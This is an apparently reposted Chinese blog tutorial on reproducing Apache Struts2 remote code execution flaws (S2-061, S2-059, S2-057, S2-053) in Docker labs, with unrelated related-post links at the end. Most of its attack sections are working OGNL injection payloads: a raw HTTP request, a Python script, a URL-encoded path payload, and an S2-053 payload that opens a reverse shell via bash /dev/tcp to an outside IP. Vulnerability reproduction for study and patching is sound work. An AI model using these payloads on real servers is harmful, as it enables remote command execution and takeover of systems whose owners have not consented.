struts2漏洞复现

struts2漏洞复现struts2漏洞复现简介Struts2是apache项目下的一个web框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站Struts2是一个基于MVC设计思路的Web应用框架,它本质

大家好,又见面了,我是你们的朋友全栈君。

struts2漏洞复现

简介

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站

Struts2是一个基于MVC设计思路的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在Struts1和WebWork的技术基础上进行了合并的全新的Struts2框架。其全新的Struts2的体系结构与Struts1的体系结构差别巨大。Struts2以WebWork为核心,采用拦截器的机制来处理用户的请求,

这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts2可以理解为WebWork的更新产品。虽然从Struts1到Struts2有着太大的变化,但是相对于WebWork,Struts2的变化很小。

Apache Struts2是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。

判断框架

常规办法有

1、通过页面回显的错误消息来判断,页面不回显错误消息时则无效。

2、通过网页后缀来判断,如.do.action,有可能不准。

3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。

其它的方法:

通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。

利用方法:

如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111

如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:

1、 页面直接出现 404 或者 500 等错误。

2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。

3、 页面的内容结构发生了明显的改变。

4、 页面发生了重定向。

S2-061远程执行代码漏洞

S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。


执行如下命令启动一个Struts2 2.5.25版本环境:

docker-compose up -d

环境启动后,访问http://target-ip:8080/index.action查看到首页。

<span role="heading" aria-level="2">struts2漏洞复现

POC:

POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

反弹shell:

<span role="heading" aria-level="2">struts2漏洞复现

S2-059 远程代码执行漏洞

Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。


POC:

import requests

url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('恶意代码'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

<span role="heading" aria-level="2">struts2漏洞复现

S2-057 远程命令执行漏洞

当Struts2的配置满足以下条件时:

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16


启动满足条件的 Struts 2.3.34 环境:

docker-compose up -d

环境启动后,访问http://your-ip:8080/showcase/,将可以看到Struts2的测试页面。

<span role="heading" aria-level="2">struts2漏洞复现

测试OGNL表达式${233*233}

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

<span role="heading" aria-level="2">struts2漏洞复现

发现233*233的结果已返回在Location头中。

POC:

/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

<span role="heading" aria-level="2">struts2漏洞复现

S2-053 远程代码执行漏洞

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。


POC:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.253.27/8889 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

注:该poc末尾需要换行,输入一个回车键

<span role="heading" aria-level="2">struts2漏洞复现

工具

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/154866.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • webpack版本不兼容_怎么安装webpack在其他盘

    webpack版本不兼容_怎么安装webpack在其他盘运行webpack时报错:Cannotfindmodule’webpack/bin/config-yargs’Thisisprobablynotaproblemwithnpm.Thereislikelyadditionalloggingoutputabove.可能是版本兼容问题,更正后的版本:”devDependencies”:{“webpack”:”^4.39.2″,”webpack-cli”:”^3.3.12″,”webp

    2022年8月9日
    7
  • 特征选择/筛选方法总结

    作者:jlianghttps://blog.csdn.net/jliang31.特征选择介绍1)特征分类相关特征:对于学习任务(例如分类问题)有帮助,可以提升学习算法的效果; 无关特征:对于我们的算法没有任何帮助,不会给算法的效果带来任何提升; 冗余特征:不会对我们的算法带来新的信息,或者这种特征的信息可以由其他的特征推断出;2)特征选择的目的对于一个特定的学习算法…

    2022年4月7日
    42
  • 视频编解码基本流程

    视频编解码基本流程视频编解码基本框架

    2022年7月13日
    15
  • 把字符串转换成float类型_c++如何将string类型转换成int类型

    把字符串转换成float类型_c++如何将string类型转换成int类型在学习数据结构经常碰到各种数据间转换的例程,就想c的库里面有没有现有的函数,用的时候直接调用就好,一查果然有:整型转字符串itoa();字符串转整型atoi();用的时候需要添加头文件#include<stdlib.h>。itoa();功能:将整形(int)转换为字符串(char),十进制转任意进制,以字符形式输出(转换后的结果以字符形式输出)使用方式:首先要申明头文件stdlib.hchar*_itoa(intvalue,char*string,intradix).

    2022年8月31日
    3
  • 超详细讲解SpringMVC三层架构

    超详细讲解SpringMVC三层架构SpringMVC三层架构javaSpringMVC的工程结构一般来说分为三层,自下而上是Modle层(模型,数据访问层)、Cotroller层(控制,逻辑控制层)、View层(视图,页面显示层),其中Modle层分为两层:dao层、service层,MVC架构分层的主要作用是解耦。采用分层架构的好处,普遍接受的是系统分层有利于系统的维护,系统的扩展。就是增强系统的可维护性和可扩展性。对于Spring这样的框架,(View\Web)表示层调用控制层(Controller),控制层调用业务层(Servi

    2022年6月25日
    107
  • armv6, armv7, armv7s的区别

    armv6, armv7, armv7s的区别ARM是微处理器行业的一家知名企业,arm处理器以体积小和高性能的优势在嵌入式设备中广泛使用,几乎所有手机都是使用它的。armv6,armv7,armv7s是ARMCPU的不同指令集,原则上是向下兼容的。如iPhone4SCPU支持armv7,但它同时兼容armv6,只是使用armv6指令可能无法充分发挥它的特性。同理iPhone5CPU支持armv7s,它虽然也兼容armv7

    2022年6月16日
    78

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号